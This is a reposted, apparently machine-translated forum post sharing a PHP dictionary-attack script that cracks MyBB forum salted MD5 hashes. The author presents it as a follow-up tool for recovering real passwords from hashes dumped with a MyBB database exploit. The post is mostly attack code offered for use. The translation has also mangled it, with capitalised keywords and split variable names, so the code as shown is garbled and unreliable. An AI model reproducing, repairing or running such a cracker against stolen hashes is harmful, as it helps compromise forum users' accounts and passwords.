MyBB Forum brute-force password cracking tool for PHP

Source: Internet
Author: User

Two days ago, after the myBB Forum exploit disappeared, the password cracked was abnormal ~ It is in the form of md5 (salt). md (pass ~
No progress ~ Today I wrote a small exploitation program ~ Hope everyone can use it ~
Pass.txt is the password dictionary ~~ One line ~

In addition, although the program uses very junk English characters, the program is absolutely original ~

[Copy to clipboard] [-] CODE:
<? Php
/*
MyBB Forum brute-force password cracking tool for PHP By Cool_wXd [C.R. S.T]
This program is mainly for the MyBB Forum program password encryption form md5 (md5 (salt). md5 (password ))
Because the exploit program for MyBB on the network only cracks the password in the database, but does not crack the real password
It is also because of this problem recently, so I hope this simple small program can be helpful!
*/
If ($ argc <3)
{
Print "--------------------------------------------------------------";
Print "MyBB Password Cracker v1.0 ";
Print "--------------------------------------------------------------";
Print "Usage: mybb_password_cracker.php [md5_hash] [salt]";
Print "--------------------------------------------------------------";
Print "http://www.wolfexp.net & http://hi.baidu.com/cool_wxd ";
Print "By Cool_wXd [C.R. S.T]";
Print "--------------------------------------------------------------";
Die;
}
Function salt_password ($ password, $ salt)
{
Return md5 (md5 ($ salt). md5 ($ password ));
}
$ Md5_hash = $ argv [1];
$ Salt = $ argv [2];
$ Dict = "pass.txt"; // password dictionary
If (strlen ($ md5_hash )! = 32) {echo Error... The md5_hash must be 32 bits; die ;}
If (! File_exists ($ dict) {echo Can not find the password dictionary; die ;}
$ Dict_pass = file ($ dict );
$ Num = sizeof ($ dict_pass );
For ($ I = 0; $ I <$ num; $ I ++)
{
$ Now_password = chop ($ dict_pass [$ I]);
If ($ md5_hash = salt_password ($ now_password, $ salt) {echo Success! (. $ Md5_hash.) is cracked and the true password is :(. $ now_password.); break ;}}
?>
In addition, we tested the password cracking for the account we registered in the Forum.



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.